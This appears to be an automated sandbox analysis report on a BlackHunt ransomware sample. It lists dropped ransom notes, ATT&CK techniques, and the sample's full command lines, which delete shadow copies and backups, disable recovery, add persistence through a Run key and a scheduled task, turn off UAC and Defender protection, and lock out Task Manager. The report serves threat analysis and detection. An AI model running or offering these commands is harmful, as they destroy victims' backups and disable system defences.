File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Rome	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Salta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-nodes.xml	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-modules.xml	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_SelectionSubpicture.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_ButtonGraphic.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\blacklist	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\imap.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-print.xml	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre7\lib\management\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jni.h	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.commons.logging_1.1.1.v201101211721.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Chagos	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground.wmv	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Indianapolis	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+5	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_ja_4.4.0.v20140623020002.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-settings_zh_CN.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\userContent_16x9_imagemask.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.jobs_3.6.0.v20140424-0053.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-compat.xml	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3248	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1532	vssadmin.exe
3236	vssadmin.exe
3136	vssadmin.exe
2716	vssadmin.exe
1688	vssadmin.exe
2208	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
760	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1916	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1820	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeRestorePrivilege	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeBackupPrivilege	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeTakeOwnershipPrivilege	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeAuditPrivilege	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeSecurityPrivilege	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeIncBasePriorityPrivilege	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeBackupPrivilege	268	vssvc.exe
Token: SeRestorePrivilege	268	vssvc.exe
Token: SeAuditPrivilege	268	vssvc.exe
Token: SeBackupPrivilege	2852	wbengine.exe
Token: SeRestorePrivilege	2852	wbengine.exe
Token: SeSecurityPrivilege	2852	wbengine.exe
Token: SeSecurityPrivilege	644	wevtutil.exe
Token: SeBackupPrivilege	644	wevtutil.exe
Token: SeSecurityPrivilege	3384	wevtutil.exe
Token: SeBackupPrivilege	3384	wevtutil.exe
Token: SeSecurityPrivilege	2580	wevtutil.exe
Token: SeBackupPrivilege	2580	wevtutil.exe
Token: SeSecurityPrivilege	2856	wevtutil.exe
Token: SeBackupPrivilege	2856	wevtutil.exe
Token: SeSecurityPrivilege	3536	wevtutil.exe
Token: SeBackupPrivilege	3536	wevtutil.exe
Token: SeDebugPrivilege	760	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2064	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	155
PID 2316 wrote to memory of 2064	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	155
PID 2316 wrote to memory of 2064	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	155
PID 2316 wrote to memory of 2064	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	155
PID 2316 wrote to memory of 940	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	154
PID 2316 wrote to memory of 940	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	154
PID 2316 wrote to memory of 940	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	154
PID 2316 wrote to memory of 940	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	154
PID 2316 wrote to memory of 2164	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	152
PID 2316 wrote to memory of 2164	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	152
PID 2316 wrote to memory of 2164	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	152
PID 2316 wrote to memory of 2164	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	152
PID 2064 wrote to memory of 860	2064	cmd.exe	151
PID 2064 wrote to memory of 860	2064	cmd.exe	151
PID 2064 wrote to memory of 860	2064	cmd.exe	151
PID 2316 wrote to memory of 2072	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	149
PID 2316 wrote to memory of 2072	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	149
PID 2316 wrote to memory of 2072	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	149
PID 2316 wrote to memory of 2072	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	149
PID 2316 wrote to memory of 2600	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	30
PID 2316 wrote to memory of 2600	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	30
PID 2316 wrote to memory of 2600	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	30
PID 2316 wrote to memory of 2600	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	30
PID 940 wrote to memory of 2748	940	cmd.exe	147
PID 940 wrote to memory of 2748	940	cmd.exe	147
PID 940 wrote to memory of 2748	940	cmd.exe	147
PID 2316 wrote to memory of 2672	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	145
PID 2316 wrote to memory of 2672	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	145
PID 2316 wrote to memory of 2672	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	145
PID 2316 wrote to memory of 2672	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	145
PID 2316 wrote to memory of 2668	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	142
PID 2316 wrote to memory of 2668	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	142
PID 2316 wrote to memory of 2668	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	142
PID 2316 wrote to memory of 2668	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	142
PID 2316 wrote to memory of 2868	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	141
PID 2316 wrote to memory of 2868	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	141
PID 2316 wrote to memory of 2868	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	141
PID 2316 wrote to memory of 2868	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	141
PID 2316 wrote to memory of 2712	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	139
PID 2316 wrote to memory of 2712	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	139
PID 2316 wrote to memory of 2712	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	139
PID 2316 wrote to memory of 2712	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	139
PID 2072 wrote to memory of 2148	2072	cmd.exe	136
PID 2072 wrote to memory of 2148	2072	cmd.exe	136
PID 2072 wrote to memory of 2148	2072	cmd.exe	136
PID 2600 wrote to memory of 2656	2600	cmd.exe	137
PID 2600 wrote to memory of 2656	2600	cmd.exe	137
PID 2600 wrote to memory of 2656	2600	cmd.exe	137
PID 2316 wrote to memory of 2720	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	135
PID 2316 wrote to memory of 2720	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	135
PID 2316 wrote to memory of 2720	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	135
PID 2316 wrote to memory of 2720	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	135
PID 2316 wrote to memory of 2492	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	132
PID 2316 wrote to memory of 2492	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	132
PID 2316 wrote to memory of 2492	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	132
PID 2316 wrote to memory of 2492	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	132
PID 2164 wrote to memory of 2708	2164	cmd.exe	31
PID 2164 wrote to memory of 2708	2164	cmd.exe	31
PID 2164 wrote to memory of 2708	2164	cmd.exe	31
PID 2316 wrote to memory of 2480	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	131
PID 2316 wrote to memory of 2480	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	131
PID 2316 wrote to memory of 2480	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	131
PID 2316 wrote to memory of 2480	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	131
PID 2316 wrote to memory of 2628	2316	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	130

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
"C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1988
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe" /F
  2⤵
  PID:340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2072
